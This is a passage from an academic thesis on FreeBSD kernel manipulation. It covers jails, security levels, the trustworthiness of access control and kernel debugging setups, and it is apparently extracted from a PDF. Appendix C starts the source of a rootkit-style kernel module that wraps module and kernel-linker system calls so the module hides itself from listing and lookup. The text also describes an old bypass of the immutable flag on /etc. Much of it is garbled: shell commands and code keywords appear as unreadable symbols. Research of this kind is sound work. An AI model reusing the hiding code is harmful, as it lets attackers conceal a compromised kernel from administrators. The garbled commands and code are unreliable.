the hardware that can protect parts of the system from elimination, tamper, and cir-
cumvention [43].

One of the goalsof the Trusted Computing Group (TCG) [27] is to provide manip-
ulation avoidanceand prevention measuresat the hardware level.

5.7 Virtual Mac hines versus FreeBSD Jails

5.7.1 Virtual Mac hines

As we pointed out in Subsection 2.3.3, a virtual machine simulates the functionalit y
of a whole operating system so that the user of the virtual machine does not interact
with the real operating systemanymore. The simulated operating system is sometimes
called guestoperating systemand the systemproviding the virtual machine for the guest
system is called host operating system. By this concept of encapsulation the impact of
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a kernel manipulation can be limited to the scope of the guest operating system. If
the virtualization mechanism has no vulnerabilities, the host operating system kernel
cannot bea�ected by such a manipulation. The virtual machine builds a further barrier.
Hence,we classifyvirtual machinesasa mitigation measureagainst kernel manipulation
with respect to the kernel of the guest operating system. For the host operating system
kernel it is a prevention or even an avoidance measuredepending on how the virtual
machine is implemented. It should be noted that this is not the only bene�t of virtual
machines.

In the remainder of this subsection we consider existing virtual machine systems
and ask for their main goals. Virtual machines can be implemented by simulating the
hardware of a computer system and installing an existing general purpose operating
system on this virtual hardware. VMware [29] and Bochs [38] follow this approach
and provide a virtual IA-32 platform. However, these two systems target mainly at
simulation, testing, and analysisof guest operating systemsand software under a guest
operating system. The User-mode Linux Project [36] implements the sameapproach,
but it is more likely to be used for mitigating a kernel manipulation on a server in a
production environment. There, it is possibleto run a complete further Linux kernel in
user mode under a Linux host system.

5.7.2 The Jails Mec hanism in FreeBSD

The FreeBSD approach towards virtual machines is di�eren t insofar as it appears as
virtual machine to the user but actually it is an accesscontrol concept. Thereby the
functionalit y of a whole virtual FreeBSDsystemcan be simulated. However, this virtual
machine usesthe samekernel as the host systemto servicesystemcalls { i.e. operating
systemservices.Thus there is no separation betweenhost operating systemkernel and
guestoperating systemkernel. The virtual machine userstill doesinteract with the real
operating system.

The mechanism in the FreeBSDkernel that implements this approach is called jails .
A jail actually is a set of processessharing a certain jail identi�er (JID) , which is a
non-negative integer. Within a jail with a positive JID, all processesare isolated from
anything outside of this jail and they get the impressionof having an exclusive virtual
machine with their own FreeBSD-like system. All processesthat have JID 0 are not in
a jail and there are no further restrictions posedon such processes.At implementation
level this concept is realized analogously to the isolation of users from each other as
described in Section 5.2. The necessaryaccessrestrictions for the isolation of processes
accordingto the functionalit y of jails are enforcedasdescribed in Section3.5. Therefore
we regard jails to be an accesscontrol concept.

After describing the accesscontrol restrictions that are posedon a jailed processin
the subsequent paragraph, weexaminein the �nal paragraph the drawbacks and bene�ts
of the jails mechanism and classify this mechanism according to our classi�cation in
Section 5.1.

Limitations for Pro cesses

A jail restricts its processessuch that a jailed processcannot interact with processes
outside of the jail. It is not even aware of their existence.
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With respect to networking, each jail has an own IP addressand an own hostname.
Processesin a jail can only send packets using the IP addressthat is assignedto the
jail.

Every jail is equipped with a private �le system, which is a proper subtree of the
�le system of the main (non-jailed) system. There, all application programs, system
programs,and libraries are installed that are required for the processesin the respective
jail to run. Furthermore, hardware devicescan be provided to a jail via its device �le
system, which is part of its private �le system. While the jailed processesare not able
to escape their private �le system,this �le systemis accessiblefrom the outside by users
with su�cien t privileges.

From within a jail, a processcan neither load kernel modules, nor can it accessthe
kernelmemoryvia /dev/kmem, nor doesit haveaccessto the kernel �le /boot/kernel/ke
rnel .

Once a jail is setup via the jail() system call, the kernel is aware of its existence
and it servicesall systemcall requestsof the jail appropriately. It should be noted that
theserestrictions also apply to a jailed root process.

Classi�cation of Jails

Sincein many casesan incident giving root accessto an attacker is basedon a vulnera-
bilit y in an application process,running potentially a�ected processesin a jail prevents
a manipulation of the kernel. For example a jailed webserver processis a typical sce-
nario. If an attacker gains root accessdue to a vulnerabilit y in a jailed server process,
the jail restrictions will still apply. If then the jails mechanism has no vulnerabilit y, the
attacker will not be able to escape the jail and thus to a�ect the outside of the jail.
In particular, if the jails mechanism is orderly, it will not be possible to manipulate
the kernel from within a jail using the methods described in Chapter 4. Therefore, we
classify the jails mechanism as a prevention measureagainst kernel manipulation and
as a mitigation measureagainst root exploits. In practice, this mechanism is regarded
as a real improvement to its predecessorchroot , and apparently it is usedfor securing
production environments in the described way [33].

However, it is important to note that the discussionabout the trust worthiness of
FreeBSDaccesscontrol in Subsection5.8.4applies in this caseanalogously. As a conse-
quence,there is neither evidencethat jails do their job, nor that they do not.

5.8 Trusted Op erating System Concepts

We begin this section by explaining a theoretical concept for a kernel manipulation
avoidance measurethat baseson the conceptsof Section 2.3. It particularly baseson
the referencemonitor concept. Subsequently, we analyze the accesscontrol mechanism
of FreeBSD and compare it with the theoretical concept just mentioned. Note that
the accesscontrol mechanism of FreeBSD is designedto prevent a manipulation of the
kernel. Furthermore, we discussthe trust worthinessof this mechanism and its problems.
In doing so, we give the reasonsfor us to speak of a prevention measureinstead of an
avoidancemeasurein caseof the accesscontrol mechanism of FreeBSD.A brief outlook
on the aims of the TrustedBSD Project concludesthe section.
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It should be noted that the features of FreeBSD described in this section are also
available, with minor di�erences, in other BSD 
a vors such as OpenBSD.

5.8.1 Av oidance in Theory

Picking up the conceptsof Section 2.3, in theory a manipulation of the kernel can be
avoided as follows. Firstly , a validated accesscontrol policy must inhibit any change
of the kernel, and secondly, the operating system must have integrated a reference
validation mechanism in its elementary design. In doing so, the operating system must
enforcethe policy on a MAC basis. As we pointed out at the beginning of Section 2.3,
a systemdesignedin this way allows an assuranceof a high level of trust worthiness. As
a result, the policy can be regardedas valid and the avoidancemechanism as orderly.

But asa consequence,the kernel can neither beupdated nor extended. Furthermore,
the policy cannot be changed. To addressthe latter point, the system could have a
specially privileged execution mode, wherenetworking and support for multiple usersis
turned o�. This mode can only be entered after a reboot and we refer to it as the single
user mode. In single user mode the system administrator obtains additional privileges
such as altering the security policy and updating the kernel. In particular, physical
accessto the machine is required to enter single user mode and it is assumedthat an
attacker doesnot have such access.

5.8.2 The Securit y Levels Mec hanism

The accesscontrol mechanism of FreeBSD is an extension of the traditional UNIX
accesscontrol mechanism such that the privileges of the superuserroot can be limited.
Hence, the system is able to enforcea (simple) MAC security policy that restricts the
superuser. By meansof this extensioncalled security levels, which are alsocalled secure
levels, certain security-critical tasks cannot performed by root when in a certain secure
operating mode, namely a security level. Security levels deal only with integrity and
they particularly aim at preventing the kernel from being manipulated. Thereby, the
systemcan be con�gured such that it is not possibleanymore to modify the kernel in a
way as described in Chapter 4.

According to the documentation of security levels in the manpage[34], there are �v e
security levels,which are identi�ed by the integersfrom -1 to 3. Theselevelsare ordered
according to the following principle: the higher the integer identi�er is, the higher the
security restrictions enforcedby the security level will be. As a consequence,FreeBSD
must ensure that once the security level is raised, it cannot be lowered by any means
until a reboot. As is shown below, a system can be con�gured such that a reboot to
single user mode3 is necessaryto reset the security level.

The following table speci�es the restrictions of the itemized security levels from -1
to 3. It should be noted that every level inherits all restrictions from its precedinglevel.

-1 Permanently insecure mode: the systemruns in permanently insecuremode if the
security levels feature is turned o�.

3The concept of a specially privileged single usermode asdescribed in Subsection5.8.1 is implemented
in FreeBSD.
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0 Insecure mode: in insecure mode the security levels feature is turned on. Yet,
there are no further restrictions comparedto permanently insecuremode.

1 Secure mode: securemode enablesbasicsecurity features. The devicespecial �les
/dev/kmem, /dev/mem, and /dev/io as well as the device special �les associated
with mounted disks may not be openedfor writing [34]. It is not possibleto load
or unload any kernel loadable modules. This is necessarybecauseotherwise it
would be possibleto circumvent the MAC restrictions of the security level via one
of these interfaces. Finally, the following �le system 
ags, which can be assigned
to any �le, cannot be cleared[33].

{ Systemno unlink 
ag: if the sunlnk 
ag is set for a �le, no user, including
root , is able to unlink { i.e. to delete { the �le.

{ Systemappend-only 
ag: if the sappnd 
ag is set for a �le, all users,including
root , are only able to append contents at the end of the �le. Henceit is not
possibleto modify the existing contents of the �le.

{ System immutable 
ag: if the schg 
ag is set for a �le, no user, including
root , is able to changethe contents of the �le at all.

2 Highly secure mode: in highly securemode alsodevicespecial �les associated with
disks that are not mounted may not be openedfor writing.

3 Network secure mode: network securemode eliminates the possibility to change
the con�guration of the packet �ltering mechanisms(�rew alls) ipfw and pf .

A few words about the realization of security levels: if the system is running in
securemode or higher, every a�ected system call checks each time it is called whether
this call is allowed. This is part of the accesscontrol mechanism as described in Section
3.5. As we pointed out in Section 3.7, security levels are controlled via the system
control kern.securelevel . At boot time the security level is raised according to the
level speci�ed in /etc/rc.conf .

5.8.3 A Policy for the Securit y Levels Mec hanism

Having explained the functionalit y of the security levels mechanism, we now turn to its
con�guration through the accesscontrol policy. This con�guration is done by setting
�le 
ags such as schg and sappnd on the appropriate �les. Candidates for these 
ags
are, for example, log �les, con�guration �les, program binaries, libraries, and the kernel
executable�le. It shouldbenoted that there is no default policy that shipswith FreeBSD
other than a trivial policy that doesnot usethese
ags.

If a systemis running in securemodeor higher and the kernel �le /boot/kernel/ker
nel is protected by the schg 
ag, the di�eren t methods of manipulation described in
Subsection4.1.1 will not work anymore. In this way other parts of the system can also
be protected.

However, the security levels mechanism can be circumvented if an attacker is able
to reset the security level after a reboot of the system. One of the biggest problems
of security levels [52] is to amend the policy such that a reboot to single user mode is
necessaryto reset the security level. On the onehand it is necessaryto set the schg 
ag
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for the /etc/rc.conf con�guration �le, where the boot time security level is de�ned.
But asa consequence,the biggestpart of the start-up con�guration of the whole system,
which is also included in this �le, cannot be changedanymore. On the other hand \all
�les used in the boot processup until the securelevel is set must be protected. If an
attacker canget the systemto executetheir codeprior to the securelevel beingset (which
happensquite late in the boot processsince somethings the system must do at start-
up cannot be done at an elevated securelevel), its protections are invalidated. While
this task of protecting all �les used in the boot processis not technically impossible,
if it is achieved, system maintenance will becomea nightmare since one would have
to take the system down, at least to single-usermode, to modify a con�guration �le"
[52]. To conclude this subsection,we point out that for this reasonsecurity levels are
controversial in practice [52].

5.8.4 Trust worthiness of FreeBSD Access Con trol

Westart this subsectionby picking up the fact that, if the accesscontrol mechanism(and
particularly the security levels mechanism) were orderly and the accesscontrol policy
wasvalid, the FreeBSDkernel would beprotected against manipulation. Furthermore, a
correct4 accesscontrol mechanism builds the foundation for a trusted operating system5

since this mechanism is necessaryin order for any further security mechanism to be
tamper-proof.

In the following we explain on the basisof accesscontrol that the FreeBSD system
was not designedto be subject to assurance. Therefore we explain that, according to
De�nition 28, the FreeBSDkernel is not a security kernel becauseit doesnot satisfy all
necessarycriteria:

2� The kernel is protected by an exclusive protection domain.

2� The virtualization mechanismsare included in the kernel.

2 But, FreeBSD does not implement the referencemonitor concept for managing
accesscontrol as de�ned in Subsection2.3.4. Neither of the itemized criteria is
satis�ed:

2 Instead of having an RVM, the accesscontrol mechanism is scattered all
over the kernel and it is not well-separatedfrom the rest of the kernel. As
described in Section 3.5, every system call checks within its implementing
routines, whether this call conforms to the accesscontrol policy, rather than
by calling any common accesscontrol policy routine [46, p.146]. Thus the
accesscontrol mechanism is not small enoughto be subject to veri�cation.

2 For the samereason,it is hard to assurethat the accesscontrol mechanism
is tamper-proof, that it is always invoked, and that it can never be bypassed.
Theseproperties would have to be veri�ed in the context of the whole kernel.
For example, a part of the kernel that is not related to accesscontrol might
in
uence the behavior of the accesscontrol mechanism. This is possible
becausethe accesscontrol mechanism runs in the sameprotection domain

4De�nition 6.
5De�nition 20.
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as the rest of the kernel. As described in Subsection2.3.4, a vulnerabilit y
such as an unchecked bu�er vulnerabilit y that is contained in an arbitrary
component of the kernel could entail a manipulation of the accesscontrol
mechanism.

From the latter comparison it follows that even if the accesscontrol mechanism
of FreeBSD is close to orderly, it will not be possible to verify this property. This
meansvice versathat the presenceof a security mechanism such as security levels does
not necessarilyimprove the security of the system signi�cantly. We presume that an
attacker has already causedan incident to get root and there is no evidence that a
further security mechanism such as security levels is able to prevent the attacker from
doing further harm.

It should be emphasizedagain that, in order for an arbitrary security mechanism
to be tamper-proof, a mechanism is required that mediates all accessesfrom subjects
to objects. Hence, the core of the problem in FreeBSD is that the referencemonitor
concept has not beenimplemented. The discussionof the trust worthiness of the access
control mechanism is therefore a discussionof the trust worthiness of the whole system.
Thus, it is hard to assurea high degreeof trust worthinessfor the wholeFreeBSDsystem.

Furthermore, sincea referencemonitor is such a basic concept, it is quite necessary
for it to be included in the elementary design of a system. Thus it may be hard to
retro�t an RVM into the FreeBSD system. Brunnstein even states that such a project
would contradict his main theorem of secureand safe systems: \Securit y and safety
of a system are basic features of system speci�cation, design, and implementation" [5,
p.4.3a]. He concludesthat \attempts to enhancethe security or safety of a systemwhich
have not beenaddressedin its speci�cation, design,and implementation may not result
in a secureor safesystem" [5, p.4.3a].

Finally it is important to note that the previous discussionsays nothing about the
quality of the security mechanisms of FreeBSD, but only about the fact that one can
hardly assurequality. Hence,we have somewhat of a semi-decidableproblem: as long
as no security breach occurs, we do not have any information about the security of the
system.

While we just stated that it is hardly possibleto assuretrust worthiness in FreeBSD,
in the remainder of this subsectionwe give examplesof failures6 in security levels that
indicate possibleproblems of FreeBSDwith trust worthiness.

Firstly , the previous subsectionshowed that it is hard to validate the policy if an
attacker shall be able to reboot the systemwithout being able to undermine the security
policy. In this context the question ariseswhether the security mechanismsof FreeBSD
are at all capableof enforcing a policy that is actually valid. In particular a mechanism
that provides support for a more �ne-grained MAC policy could be required.

Secondly, apart from the possibility that a vulnerabilit y in an arbitrary subsystemof
the kernel could entail a manipulation of the accesscontrol mechanism, the complexity
of the security levels mechanism itself leadsto problemsas the following exampleshows
[33, p.40]. Until FreeBSD4.X it waspossibleto circumvent the systemimmutabilit y 
ag
schg on a con�guration �le in /etc/ by creating a backup of this directory at another
location. After modifying the desired �les in the backup, one could mount a memory

6De�nition 29.
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basedMFS �le system over the existing /etc/ and copy the modi�ed backup version
of /etc/ to the newly mounted �le system. Thereby, for example, it was possible to
restart a daemonprocesswith an altered con�guration.

5.8.5 Outlo ok: TrustedBSD

\The TrustedBSD project provides a set of trusted operating system extensionsto the
FreeBSDoperating system, targeting the Common Criteria for Information Technology
Security Evaluation (CC). This project is still under development, and much of the code
is destined to make its way back into the baseFreeBSD operating system" [42]. The
TrustedBSD project likely usesthe word \trusted" according to De�nition 16.2because
the project aims at the CC security evaluation. After such an evaluation usersshould
be able to trust in this system.

A particular goal of this project is to designand implement an accesscontrol mecha-
nism that supports �ne-grained MAC accesscontrol policies. It supports policies based
on security modelssuch as the Biba Integrity Model and the Role-BasedAccessControl
Model [50, p.35]. Thereby also a kernel manipulation prevention measureis provided,
which is perhapsmore consistent and powerful than security levels.

Yet, the question remains for us whether the arguments of the previous subsection
also apply in this case:there is still no well-separatedreferencemonitor.
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Conclusions

From the results of Chapter 4 and Chapter 5 we concludethat a kernel manipulation is
the �rst choice for an attacker to control a compromisedoperating system completely
and in a stealthy and persistent manner. In Section5.2 we explainedwhy there is a high
risk that basicprotection fails in UNIX-lik e systemsand thus why a kernel manipulation
can be feasiblefor an attacker in this case.We conductedfour experiments showing how
to accomplish a manipulation and demonstrating their power. As a consequence,the
general susceptibility of a system to such attacks posesa seriousthreat to the system.
The major problem with a manipulation of the kernel is that all programs running
on a potentially compromisedsystem cannot trust in the resourcesand servicesof the
underlying system. Under this condition the trust worthiness of all computing basedon
such a system is questionable. Becauseof this serioussecurity implication, there was
much e�ort to develop e�ectiv e countermeasuresin practice, as shown in Chapter 5.
However, we are still concernedabout their success.

To be more precise,in Subsection5.8.4we explained on the onehand why FreeBSD
was not designedto be subject to assurance.The main reasonfor this is that the ref-
erencemonitor concept has not been implemented. It is therefore hardly possible to
provide evidencewhether any security mechanism actually works as required. We re-
gard this fact asthe major drawback of FreeBSD.On the other hand, with regard to this
characteristic of not being able to measureits quality, FreeBSDshows its high complex-
it y, its limited controllabilit y, and its lack of separation and isolation of its subsystems.
We pointed out a security breach resulting from the latter attributes, for instance, in
context with security levels in Subsection 5.8.4. Together with the problems arising
out of the superusermechanism described in Section 5.2, theseissuesare indications of
security shortcomings in the elementary design of FreeBSD. This conclusion is in line
with the supposedinitial goals in the development of UNIX. According to P
eeger [12,
p.298],UNIX wasoriginally designedfor \nonhostile" environments such asuniversities
and laboratories. Instead of security, the priorit y wasgiven to modularit y, compactness,
and portabilit y.

As a consequence,we are in doubt whether FreeBSDis capableof e�ectiv ely avoiding
an incident such asa kernel manipulation without a completeredesignand reimplemen-
tation of its internal structure. We further believe that the e�ort of a project retro�tting
essential security featuresto FreeBSDsuch as a kernel manipulation avoidancemeasure
will exceedthe e�ort of the development of a brand new system. At this point it is
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important to note that the latter discussioncan be extended to many further { maybe
to all { current UNIX-lik e operating systems.

However, there are good reasonsto stay with FreeBSD for the time being. Firstly ,
although FreeBSDis not a systemdesignedfor security, the FreeBSDProject doesa good
job in coping with this UNIX heritage. We regard the security mechanismsof FreeBSD
to block the threats in an acceptableway. Alb eit, with respect to kernel manipulation,
it should be emphasizedagain that we can only speak of prevention here instead of
avoidance. It remains to be seento what extent the e�ort of the TrustedBSD Project,
once reintegrated to FreeBSD, will improve the actual system security of FreeBSD or
if it can even provide an approach to assurecertain quality aspects. Secondly, there
are perspectives other than security such as stabilit y and performance that come into
question. Yet, we do not rate FreeBSD in this case. Thirdly , there is much mature
and widespreadapplication software available for FreeBSD. This includes for example
webservers,nameservers,databaseapplications, and mailservers. Finally, with the above
discussion in mind, we regard FreeBSD as one of the best of the currently available
operating systems. At the moment there is nothing really better.

Nonetheless,in the long run it will be necessaryto develop a brand new generalpur-
poseoperating system, where security and assuranceare addressedin its speci�cation,
design,and implementation [5].



App endix A

Comprehending Kernel Sources

This appendix gives somehints on how to becomeacquainted with the kernel source
code of FreeBSD.

First it is inevitable to have a reasonableknowledge of a concrete hardware archi-
tecture that is supported by FreeBSD.We chosethe Intel IA32, where The Unabridged
Pentium 4 [45] is a very detailed but still easyto read text, from which Part 3 su�ces
well for a start. We presumethe readerto be familiar with the C programming language
asthe major part of the kernel is written in this language.The abilit y of reading assem-
bler code is a plus. The C Programming Language[10] and Intr oduction to Assembly
LanguageProgramming [7] provide a good reference.Importance is alsoattached to the
functionalit y of the compiler and the layout of the compilation. While reading kernel
sourcecode The Design and Implementation of the FreeBSD Operating System[35] is a
good referenceproviding information about the functionalit y of the subsystemsof the
kernel in a more abstract way.

Furthermore, several tools are neededto browse the sourcecode. Our philosophy
is to use common and simple tools rather than highly specialized ones. To display a
source�le and search within the �le, an editor such as vi or emacsis recommendable.
To search the whole kernel sourcetree for a string searchstring in order to �nd out,
for example, the location of a declaration or a de�nition, one can use

freebsd% ��
��

���

� ���

�

�����

�

�	���

�

� ��	������ ����
��

�

�� ��
�	����

�

��!���
����

or variations of this combination of commands. Further useof grep is often necessary.
One can also use the slightly more sophisticated cscope [25], which can be integrated
in vim [28], for the same purpose. The complete kernel source code is located un-
der /usr/src/sys/ . However, someheader �les are found under /usr/include/ and
/usr/obj/usr/src/sys/GEN ERIC/ . In the latter casethey are generatedat compilation
time.

When reading intensively a source �le or a part of it, we strongly recommend to
print out the �le. During the time of this writing, we printed out about 1500pagesof
sourcecode using the following shell script to parametrize a2ps.

freebsd% � 	"! ��� 
���	���
 ����
���!

�

�

�

#!/bin/sh
FONTSIZE=8
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for i in /usr/src/sys/kern/init_main.c \
/usr/src/sys/kern/init_sysent. c\
/usr/src/sys/kern/kern_module. c\
/usr/src/sys/kern/kern_sysctl. c\

[...]

/usr/src/sys/sys/sysent.h\
/usr/src/sys/sys/module.h

do
a2ps --line-number=1 --font-size=${FONTSIZE} --center-title=${i} \

--output=`echo ${i} | sed 's/\//_/g'`.ps --pretty-print=c ${i}
done

freebsd%
� �

����
 ��	���
 � ��
���!

�

�

�

freebsd% � � � ��� ����� �	��� ��
��	� ��
��	� � �

�

�
��


�

�

�

� �

freebsd% [...]

This approach of reading the static sourcecode without its executionis often referred
to as static analysis. A combination with dynamic analysis, which is explained in
Appendix B, additionally helps understanding the functionalit y of the kernel from the
source.

Now that we know about the techniques, we give information on where to begin
static analysis. Similar to the advisesof the FreeBSD kernel hacker Robert Watson
[54] we recommendstarting with an exploration of the boot processat the entry point
to the kernel NONGPROFENTRY(btext) in /usr/src/sys/i386/i386/l ocor e.s . Af-
ter doing some low level initialization, the C routine mi startup() , which residesin
/usr/src/sys/kern/init main.c , is calledfrom locore.s . On behalfof mi startup()
machine independent system initialization is done. In doing so, it is important to un-
derstand the functionalit y of the SYSINIT() macro, which is used to set up the kernel
subsystemsat boot time. When exploring the sourcecode from this perspective, one
can get a good overview of the composition of the complete system.

Another starting point for static analysis are the implementing functions of system
calls. In /usr/src/sys/kern/syscal ls. master all systemcalls and their implementing
functions are listed. Most systemcall implementing functions are located in source�les
under /usr/src/sys/kern/ . Reading the source code this way is likely to be easier
than exploring the boot process.By a preciseanalysis of the system call implementing
functions, one can get preciseinformation about the servicesof the operating system.
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Exp erimen tal Setup: Dynamic
Analysis

While static analysis of the kernel meansreading and comprehendingthe static source
code, dynamic analysis makes use of a debuggerprogram to track single machine in-
structions or commandsof the C programming languagethat are actually executedon
a target machine. A combination of both turned out to be very productive for an exact
and extensive analysis of what happensin the kernel. Sincedynamic analysis of a run-
ning kernel is a fairly special technique we present our remote debuggingsetup in this
appendix. This description is derived from the somewhatoutdated FreeBSD Developers'
Handbook [51].

We start with two FreeBSD6.0 machines target and console , which are connected
to each other via a serial line (null modem cable). There target acts as the target
machine running the debuggingkernel and console as the debuggingconsole running
the kernel debugger. In the following they are con�gured such that whenever target
enters the debugger or reaches a debugging breakpoint, control is transferred to the
debugging consoleon console . From there common debugging tasks such as single
stepping, code listing, or querying variables and memory addressesare possible.

First we prepare the debugging kernel that will run on target and that must
be present on console in order to provide debugging symbols and the source code.
The following shell commandscompile such a kernel with the right options taken from
/usr/src/sys/conf/NOTES .

console# �

���

� ���
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�����
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�	���
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���� �

console# ���

��
	�

���������
���� �
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��	�
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console# � 	"!
	�	

�

���� �

�


��	��
��

options KDB
options DDB
options GDB

[CTRL-D]

console# �

���

� ���

�

�����

console# �
	���
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� �
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target# �

���

� ���

�

�����
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������

target# ���
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��������

���� �
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��	�

��

target# � 	"!
	�	

�

���� �

�


��
�

��

options KDB
options DDB
options GDB

[CTRL-D]

target# �

���

� ���

�

�����

target# �
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� �
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On target we install this kernel, check the serial port for the correct 
ags, and reboot.

target# �

���

� ���

�

�����

target# ��	���
�
�� �	!�	���� ��
��	�

�� �


��	���

�

���

�

�

���� �

�


	�	�
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target# ����
��

�

�

�


���!

�

�"
��

�

�

�

����	"���

���

����!

�	�


���
"� 


� �


���!��

39:hint.sio.0.flags="0x80"

target# � 


�

����!

Afterwards we can decidewhether to break execution on target to enter the debugger
via the bootprompt

OK
�

����!

��� � �

����!

�

��
��	��
 �

�

��
	�	�

 �

[...]
Stopped at kdb enter+0x2b: nop
db> �

���

db> �

or via the appropriate system control.

target# �����"�	!��

�




�

���

�

�

��� �


���! 
������

The last step is to enter the remote debugging consoleon console via the �rst serial
port /dev/cuad0 as follows.

console# �

���

� ���

�

�

�����

� ���

�

�����

�

�����

� �

���� �

�


	�	�

��

console# ���

��� �

�

���
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�

����	
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� ��
��	�

��

� �




�

���

[...]
GNUgdb 6.1.1 [FreeBSD]
[...]
Switching to remote protocol
[...]
#0 0xc0657823 in kdb enter (msg=0x23 <Address 0x23 out of bounds>) at cpufunc.h:60
60 asm volatile("int $3");
(kgdb)

Since this consoleprovides the well known GDB functionalit y [47] we skip its explana-
tion. We just allegea typical example{ namely the setup for an analysisof the loading
stageof a KLD. For this purposewe set a breakpoint at the kldload() function, which
is called to servicethe KLD load systemcall, and then continue to initialize the loading
of the KLD on target . Seethe following shell session.
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target# �	�����	!��

�




�

���

�

�

�	� �


���!�
������

(kgdb)
�

��
�	�� ���

�

����	

�

Breakpoint 1 at 0xc0631630:
file /usr/src/sys/kern/kern linker.c, line
755.
(kgdb) ��� ��!�
����



target# ���

�

����	

� � �

� �����

� �

���

Breakpoint 1, kldload
(td=0xc15b6900, uap=0xcb5ebd04) at
/usr/src/sys/kern/kern linker.c:755
755 char *pathname = NULL;

(kgdb) �"
��	!

750 */
751 int
752 kldload(struct thread *td, struct
kldload args *uap)
753 f
754 char *kldname, *modname;
755 char *pathname = NULL;
756 linker file t lf;
757 int error = 0;
758
759 td->td retval[0] = -1;
(kgdb) ��! 
��

[...]





App endix C

Source Code

This appendix contains the full sourcelistings of all conducted experiments.

C.1 Exp erimen t 1: Hiding a Mo dule

Listing C.1: /home/alm/exp1/hide-modu le-v 1.c� �
1

�

����� � � � � <sys / t ypes . h>
2

�

����� � � � � <sys / par am. h>
3

�

����� � � � � <sys / pr oc . h>
4

�

����� � � � � <sys / modul e . h>
5

�

����� � � � � <sys / sysent . h>
6

�

����� � � � � <sys / ker nel . h>
7

�

����� � � � � <sys / sys t m. h>
8

�

����� � � � � <sys / syspr ot o . h>
9

�

����� � � � � <sys / sx . h>
10

�

����� � � � � <sys / l ock . h>
11

�

����� � � � � <sys / queue. h>
12

�

����� � � � � <sys / cdef s . h>
13

�

����� � � � � <sys / syscal l . h>
14

�

����� � � � � <sys / l i nker . h>
15

�

����� � � � � <bsm/ audi t _kevent s . h>
16

17
�

�����
����� AS( name) ( �

��� ��� � ( �


 � � ��
 name) / �

������� � ( r egi s t er _t ) )
18

19
�

�����
����� DEBUG
20

21 �


 � � ��
 modul e {
22 TAI LQ_ENTRY( modul e ) l i nk ;
23 TAI LQ_ENTRY( modul e ) f l i nk ;
24 �


���� ��
 l i nker _f i l e * f i l e ;
25

�	��
 r ef s ;
26

�	��
 i d;
27

��
�� � * name;
28 modevent hand_t handl er ;
29

������� * ar g ;
30 modspec i f i c_t dat a;
31 } ;
32

33 �


�� 

� � ����
 mymodi d ;
34 �


�� 

� � ����
 myf i l ei d ;
35

36 / *
37 * Def i ni t i on of mal i c i ous ver s i ons of sys t em cal l s .
38 * /
39
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40 �


�� 

� � ����
 mymodnext ( �


�� � ��
 t hr ead * t d , �


�� � ��
 modnex t _ar gs * uap) {
41

�	��
 er r or = 0;
42

43 er r or = modnext ( t d , uap) ;
44

45
� � ( t d - >t d_r et val [ 0] == mymodi d ) {

46 uap - >modi d = mymodi d ;
47 er r or = modnext ( t d , uap) ;
48 }
49

50
� � 
 ����� ( er r or ) ;

51 }
52

53 �


�� 

� � ����
 mymodf next ( �


 � � ��
 t hr ead * t d , �


�� � ��
 modf nex t _ar gs * uap) {
54

�	��
 er r or = 0;
55

56 er r or = modf next ( t d , uap) ;
57

58
� � ( t d - >t d_r et val [ 0] == mymodi d ) {

59 uap - >modi d = mymodi d ;
60 er r or = modf next ( t d , uap) ;
61 }
62

63
� � 
 ����� ( er r or ) ;

64 }
65

66 �


�� 

� � ����
 myk l df i r s t mod ( �


 � � ��
 t hr ead * t d , �


�� � � 
 k l df i r s t mod_ar gs * uap ) {
67

�	��
 er r or = 0;
68

69 er r or = k l df i r s t mod ( t d , uap ) ;
70

71
� � ( t d - >t d_r et val [ 0] == mymodi d ) {

72 t d - >t d_r et val [ 0] = 0;
73 er r or = ENOENT;
74 }
75

76
� � 
 ����� ( er r or ) ;

77 }
78

79 �


�� 

� � ����
 mykl dnext ( �


�� � ��
 t hr ead * t d , �


�� � ��
 k l dnex t _ar gs * uap) {
80

�	��
 er r or = 0;
81

82 er r or = k l dnext ( t d , uap) ;
83

84
� � ( t d - >t d_r et val [ 0] == myf i l ei d ) {

85 uap - >f i l ei d = myf i l ei d ;
86 er r or = k l dnext ( t d , uap ) ;
87 }
88

89
� � 
 ����� ( er r or ) ;

90 }
91

92 �


�� 

� � ����
 mykl df i nd ( �


�� � ��
 t hr ead * t d , �


�� � ��
 k l df i nd_ar gs * uap) {
93

�	��
 er r or = 0;
94

95 er r or = k l df i nd ( t d , uap) ;
96

97
� � ( t d - >t d_r et val [ 0] == myf i l ei d ) {

98 t d - >t d_r et val [ 0] = - 1;
99 er r or = ENOENT;

100 }
101

102
� � 
 ����� ( er r or ) ;

103 }
104

105 �


�� 

� � ����
 mykl ds t at ( �


�� � ��
 t hr ead * t d , �


�� � ��
 k l ds t at _ar gs * uap) {
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106
�	��
 er r or = 0;

107

108
� � ( uap - >f i l ei d == myf i l ei d ) {

109 er r or = ENOENT;
110 }
111

� �

�

� {
112 er r or = k l ds t at ( t d , uap) ;
113 }
114

115
� � 
 ����� ( er r or ) ;

116 }
117

118 �


�� 

� � ����
 mymodf i nd ( �


�� � ��
 t hr ead * t d , �


�� � ��
 modf i nd_ar gs * uap) {
119

�	��
 er r or = 0;
120

121 er r or = modf i nd ( t d , uap) ;
122

123
� � ( t d - >t d_r et val [ 0] == mymodi d ) {

124 t d - >t d_r et val [ 0] = 0;
125 er r or = ENOENT;
126 }
127

128
� � 
 ����� ( er r or ) ;

129 }
130

131 �


�� 

� � ����
 mymodst at ( �


�� � ��
 t hr ead * t d , �


�� � ��
 mods t at _ar gs * uap) {
132

�	��
 er r or = 0;
133

134
� � ( uap - >modi d == mymodi d ) {

135 t d - >t d_r et val [ 0] = - 1;
136 er r or = ENOENT;
137 }
138

� �

�

� {
139 er r or = modst at ( t d , uap) ;
140 }
141

142
� � 
 ����� ( er r or ) ;

143 }
144

145
�

� � � � ��� DEBUG
146 �


�� 

� � ����
 mykl dunl oad ( �


�� � � 
 t hr ead * t d , �


�� � � 
 k l dunl oad_ar gs * uap) {
147

� � ( uap - >f i l ei d == myf i l ei d ) {
148 uap - >f i l ei d = 0;
149

� � 
 � ��� ( k l dunl oad ( t d , uap ) ) ;
150 }
151

152
� � 
 ����� ( k l dunl oad ( t d , uap) ) ;

153 }
154

155 �


�� 

� � ����
 myk l dunl oadf ( �


���� ��
 t hr ead * t d , �


���� ��
 k l dunl oadf _ar gs * uap) {
156

� � ( uap - >f i l ei d == myf i l ei d ) {
157 uap - >f i l ei d = 0;
158

� � 
 � ��� ( k l dunl oadf ( t d , uap) ) ;
159 }
160

161
� � 
 ����� ( k l dunl oadf ( t d , uap) ) ;

162 }
163

�

� � �
� �

164

